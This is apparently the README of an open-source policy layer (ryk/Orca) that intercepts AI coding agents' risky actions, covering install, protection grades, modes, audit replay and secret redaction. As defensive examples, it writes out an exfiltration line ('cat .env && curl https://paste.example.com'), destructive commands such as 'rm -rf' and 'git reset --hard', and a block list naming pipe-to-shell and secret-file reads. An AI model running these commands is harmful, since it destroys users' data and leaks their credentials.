The safety layer for autonomous AI agents running on real machines.
(Formerly Orca. The orca binary remains a PATH alias for one major. Workspace paths still use .orca/ β path migration is a later phase.)
ryk lets you give AI agents more autonomy by evaluating risky shell, file, network, and tool actions against your policy β when those actions actually pass through rykβs mediation path.
AI agents are no longer just chatbots. They run shell commands, edit files, call APIs, access credentials, use tools, browse the web, and operate on laptops, servers, CI pipelines, and spare machines.
That is powerful.
It is also dangerous.
ryk is graded mediation (not a universal sandbox): it evaluates actions on paths it actually mediates. Day-1 path is Safe Launch β get protected, run your agent, check status, review the session. See Protection grades for what that guarantee means.
# Install
brew tap christopherkarani/orca
brew install --formula orca # installs ryk + orca alias
# Get protected (policy + hosts + Ask on risk)
ryk start
# or: ryk start # same product
# Run your agent
ryk claude
# or: ryk codex | ryk pi | ryk opencode | ryk openclaw | ryk hermes
# Glance status Β· review last session Β· off-ramp
ryk status
ryk replay
ryk stopThis project is free and open source under Apache 2.0. If ryk is useful to you, please star the repository β it helps visibility and keeps development going.
Developers and teams are starting to give autonomous agents real access:
- local files
- source code
.envfiles- SSH keys
- shell commands
- cloud CLIs
- databases
- browsers
- CI pipelines
- internal tools
- long-running workflows
Today, the safety model is usually one of these:
- babysit every command
- run the agent in Docker or a VM
- write custom scripts and ignore files
- trust the agent not to do something destructive
That does not scale.
Orca gives you a reusable policy layer across agents.
Write the rules once. Apply them everywhere.
Orca focuses on the actions that can ruin your day:
git push --force
git reset --hard
rm -rf
sudo
curl | sh
terraform destroy
kubectl delete
DROP TABLE
aws delete-*
gcloud delete
touching ~/.ssh
reading .env
leaking API keys
modifying protected config
sending data to unknown hosts
Orca can allow, deny, ask for approval, or log these actions depending on your policy.
You give an agent a task:
Clean this up and make it work.
The agent decides to run:
rm -rf ./srcor:
git reset --hardor:
cat .env && curl https://paste.example.comYou find out after the damage is done.
The agent tries the same action.
Orca intercepts it first.
Action blocked
Command:
rm -rf ./src
Reason:
Destructive recursive delete inside project directory.
Policy:
deny destructive file deletion
Result:
Command was not executed.
For actions that might be valid but risky, Orca asks in plain language:
Approval required
Command:
git push origin main
Reason:
Pushing to a protected branch requires human approval.
[a] Once β allow this time
[A] Always this session
[d] Never / Deny
Orca is not another AI agent.
Orca is the policy enforcement layer underneath the agents you already use.
You
β
Orca policy layer
β
Hermes / Claude Code / Codex / OpenClaw / OpenCode / Cursor
β
Shell / files / network / tools / cloud / databases
The agent can still do useful work.
Actions on a mediation path are evaluated against your policy. Paths that bypass mediation are outside that guarantee β see Protection grades and docs/threat-model.md.
| Agent | Usage |
|---|---|
| Claude Code | ryk claude |
| Codex CLI | orca codex |
| Pi | orca pi |
| OpenCode | orca opencode |
| OpenClaw | orca openclaw |
| Hermes | orca hermes |
| Custom commands | advanced: orca run -- <command> |
One policy file can protect multiple agents. Host aliases (ryk <agent>) are the taught launch path; orca run remains the advanced engine for custom commands and CI flags.
brew tap christopherkarani/orca
brew install --formula orcaOr use the install script:
curl -fsSL https://raw.githubusercontent.com/christopherkarani/Orca/main/scripts/install.sh | shryk startryk start is the only day-1 onboarding door. It creates a policy when missing (Ask on risk), wires host integrations, and verifies core readiness. Re-run it to repair or update hosts.
Then check the traffic light:
orca statusYou should see Protected or Limited, plus a plain-language note that some paths can still bypass. Use orca doctor only when you need a deep capability matrix.
ryk claudeorca codexorca hermesWhen something looks risky, the interactive prompt offers Once / Always / Never β no rule ids required.
Review what happened:
orca replayBare orca replay shows the last session; denied actions are highlighted. Off-ramp:
ryk stopFor CI / automation (fails closed, no prompts), use the run engine:
orca run --ci -- ./scripts/agent-task.shOrca is graded mediation, not a universal OS sandbox. Canonical definitions and bypass classes live in docs/compatibility.md (also linked from docs/threat-model.md).
| Grade | Meaning | Typical surface |
|---|---|---|
hook |
Host invokes Orca and honors veto | Native plugin / host hook that fires |
wrapper |
PATH shims / agent launch under Orca | Finite executable list; absolute paths may bypass |
proxy |
Traffic must traverse an Orca proxy | MCP / optional network proxies |
OS-enforced |
Kernel/sandbox backend enforcing for that session | After protected child session-attach succeeds; doctor probes alone are not enough |
Safe Launch default: ryk start auto-selects the best available Ask on risk posture (hooks + wrappers when available). Day-1 status is Protected | Limited | Off with an honest caveat β not a grade matrix. OS-enforced FS isolation only after a successful Landlock (Linux) or Seatbelt (macOS) attach for that child.
Power users: orca help --all lists the full surface (run, doctor, policy, β¦).
Run a safe local demo:
orca demo blocked-actionThen inspect what happened:
orca replay
orca replay --only denied --verifyNo AI agent required. No files are harmed.
Start the local dashboard:
orca dashboardOpen:
http://127.0.0.1:7742
The dashboard shows:
- current policy status
- recent sessions
- prevented actions
- approval decisions
- replay verification
- audit integrity
Everything runs locally.
No cloud service is required.
Let Claude Code, Codex, or Hermes work longer without babysitting every command.
ryk start
ryk claudeUse Orca to ask (Once / Always / Never) before risky actions and block destructive ones.
Run Hermes on a spare Mac mini, MacBook, VPS, or workstation with clearer boundaries.
Protect:
- important folders
- SSH keys
.envfiles- config files
- cloud credentials
- local databases
- browser-accessible workflows
- destructive shell commands
ryk start
orca hermesCommit Orca policy to your repo:
.orca/policy.yaml
Now every developer and agent runs under the same safety rules.
No more one-off scripts per person.
Run autonomous agents in CI without interactive approval.
orca run --ci -- ./scripts/agent-task.shIn CI, Orca converts ask into deny.
If the agent tries something dangerous, the job fails safely.
Run built-in fixture engine self-tests (internal builtin:redteam preset β not your workspace policy):
orca redteam --ciThis catches regressions in Orcaβs fixture evaluators. It does not prove your installed policy, daemon, or host enforcement is correct. See docs/redteam.md.
Orca is designed to be honest about what it does and does not protect.
- launches agents through a policy-controlled process (
ryk <agent>/ wrapper grade;orca runis the engine) - evaluates shell commands that hit PATH shims or host hooks that fire and honor veto
- mediates file access on Orca-mediated write paths (staged writes; OS FS enforcement only after session-attach succeeds)
- filters sensitive environment variables for Orca-launched children
- detects secret-like access patterns on mediated paths and redacts audit output
- applies network decisions for mediated traffic; blocks only when a proxy or OS-enforced backend is actually in path
- records tamper-evident audit logs for Orca-managed sessions
- supports replayable sessions
- fails closed in CI mode for evaluated actions
Orca is not a perfect kernel sandbox and is not universal transparent FS/network interception.
It does not protect agents that are not launched through Orca (or host hooks that do not fire).
It does not replace Docker, VMs, OS permissions, VPNs, SSH hardening, or least-privilege infrastructure.
Use those too.
Orca is a graded, behavior-level policy layer on top of paths it actually mediates β see Protection grades.
Docker controls the environment.
Orca controls what the agent is allowed to do on mediated paths inside that environment.
| Mode | Behavior |
|---|---|
observe |
log decisions with minimal blocking |
ask |
ask before risky actions |
strict |
block aggressively |
ci |
never prompt, deny risky actions |
Example:
mode: askFor automation:
orca run --ci -- ./scripts/agent-task.shAfter each session, Orca stores a local audit trail.
Last session timeline (denials highlighted):
orca replayDenied actions only / verify integrity / JSON:
orca replay --only denied
orca replay --verify
orca replay --jsonSession artifacts live under:
.orca/sessions/
Audit logs are tamper-evident using chained hashes.
Orca can block or redact access to sensitive files and values.
Examples:
.env
~/.ssh/id_rsa
~/.ssh/id_ed25519
AWS_ACCESS_KEY_ID
GITHUB_TOKEN
ANTHROPIC_API_KEY
OPENAI_API_KEY
Google service account JSON
JWTs
private keys
high-entropy tokens
Secretless mode (advanced β not day-1) replaces raw values with broker references before the agent sees them. Coding agents that need env API keys often will not authenticate under secretless; prefer Safe Launch unless you know you need it. See docs/credentials.md.
orca run --secretless -- <custom-command>Safe Launch (ryk start + ryk <agent>) wires the usual wrapper path and host hooks when available. Wrapper mediation is not OS-enforced by default and is not automatically stronger than a host hook that actually fires and honors veto β those grades stack when both are active. Kernel-level FS strength requires OS-enforced session-attach (successful Landlock/Seatbelt child attach; doctor probes alone do not claim a live session).
Some agents also support native plugins or hooks for deeper integration (grade hook when hooks fire and honor veto). Prefer ryk start for first-time host wiring.
ryk start --hosts hermes
# or repair later:
orca plugin install hermes --yes
hermes plugins enable orca
orca plugin doctor hermesSupported protection path (grade wrapper):
orca openclawOptional plugin install (local path / orca plugin install openclaw) is install plumbing only β it does not prove hook enforcement. npm, ClawHub, and CLI-metadata loads of the native plugin are unprotected: OpenClaw currently no-ops api.on, so tool hooks do not fire and cannot block. See integrations/openclaw-plugin/README.md and protection grades.
Docker is useful.
You should use it where it makes sense.
But Docker and Orca solve different problems.
Docker controls what the process can access.
Orca controls what the AI agent is allowed to do.
An agent inside Docker can still:
- delete mounted project files
- read secrets mounted into the container
- push code
- run destructive migrations
- call cloud CLIs
- modify config
- exfiltrate data over allowed network paths
Orca adds behavior-level policy, approvals, and auditability on top of your existing isolation.
Many developers already do.
They write:
- ignore files
- command filters
- approval scripts
- read-only config hacks
- custom wrappers
- shell aliases
- one-off security prompts
That works until every agent, repo, machine, and teammate needs a different version.
Orca turns those guardrails into a reusable policy layer.
Near-term focus:
- stronger default policy packs
- Hermes-specific protections
- cloud delete protections
- database delete protections
- protected config policies
- approval workflows
- team policy sharing
- CI enforcement
- better replay reports
Longer-term:
- centralized team dashboard
- organization-wide policy management
- SSO/RBAC
- policy marketplace
- enterprise audit exports
- agent security sprints
- Install
- Quickstart (Safe Launch)
- Policy reference
- Credentials
- Replay
- Commands
- Plugin security model
- Plugin troubleshooting
Default CLI help teaches Safe Launch only; full surface: orca help --all.
./scripts/zig build
./scripts/zig build test
./zig-out/bin/orca help
./zig-out/bin/orca redteam --ciOrca is early, open source, and actively evolving.
Current focus:
- stop irreversible agent actions
- protect secrets and sensitive files
- provide shared policy across agents
- give users replayable evidence of what happened
- make autonomous agents safer without making them useless
Feedback, issues, PRs, and roasts are welcome.
If Orca helps you, please leave a star. It genuinely motivates continued work.